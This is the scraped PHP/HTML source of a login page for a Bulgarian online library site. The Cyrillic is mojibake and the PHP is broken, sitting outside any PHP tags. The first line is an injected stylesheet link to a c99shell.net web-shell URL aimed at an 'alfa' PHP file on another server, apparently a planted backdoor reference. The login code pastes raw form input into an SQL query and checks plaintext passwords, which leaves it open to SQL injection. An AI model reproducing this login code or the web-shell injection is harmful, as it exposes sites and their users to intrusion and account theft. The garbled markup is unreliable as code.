<link rel="stylesheet" type="text/css" href="https://c99shell.net//webshell/emay/emay.php?url=www.bio21.bas.bg/library/up_files/699_alfa.php">
session_start();
include 'mysql.inc.php';
require_once 'variables.inc.php';
if(isset($_POST["password"])) {
$sql = "SELECT UserID,pass, email
FROM users
where pass='".$_POST["password"]."' AND email='".$_POST["username"]."'";
$result = mysqlquery($sql);
if(mysql_num_rows($result)> 0){
$row = mysql_fetch_assoc($result);
$_SESSION["id"] = $row["UserID"];
$url = "registrirane_books.php";
}
else{
$url = "error_login.html";
}
header("Location: ".$url);
}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<meta name="description" content="�������� ���������� �� ��� ">
<META http-equiv="Content-language" content="bg">
<META content="����� ������" name="Copyright">
<META content="����� ������" name="Designer">
<META content="����� ������" name="Developer">
<META content="5 Days" name="Revisit-After">
<link rel="top" href="./index.php" title="�����" />
<link rel="search" href="./search.php" title="������" />
<link rel="help" href="./faq.php" title="������/��������" />
<link rel="author" href="./memberlist.php" title="�����������" />
Aoia<title>Aoia</title>
<link href="text.css" rel="stylesheet" type="text/css" />
<link href="menus.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style4 {font-weight: bold}
-->
</style>
<body onload="PreloadFlag = true;" background="img/lrock041.jpg">
<p><a name="top"></a>
</p>
<table cellspacing="0" cellpadding="0" align="center" style="background:none">
<ul class="menu" >
<li><a href="index.php"><strong> �����</strong></a></li>
<li><a href="search.php"><strong>������ </strong></a></li>
<li><a href="faq.php"><strong>�������</strong></a></li>
<li><a href="links.php"><strong>�����</strong></a></li>
<li><a href="donations.php"><strong>������</strong></a></li>
if (!isset($_SESSION['id'])){
} else {
<li><a href="registrirane_books.php"><strong>���. �������</strong></a></li>
<li><a href="registrirane.php"><strong>������</strong></a></li>
<li><a href="logout.php"><strong>����</strong></a></li>
}
</ul>
|
</TABLE>
<table width="801" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#EAEAEA"><tr height="90" valign="middle"><td valign="middle" align="center" height="96">
<table width="801" cellspacing="0" cellpadding="0" align="center" bgcolor="#EAEAEA" border=0><td valign="bottom" align=right>
<p align="center"><td class="navbar-top" valign="middle"><table border="0" cellspacing="0" cellpadding="0" width="100%" bgcolor="#EAEAEA">
<td align="left" class="navbar-links">
|
<td valign="bottom">
<td class="content content-navbar" align="center">
<td class="content-right"> |
<td valign="top" align=right> <td class="navbar-bottom" valign="middle"><table border="0" cellspacing="0" cellpadding="0" bgcolor="#EAEAEA" width="100%">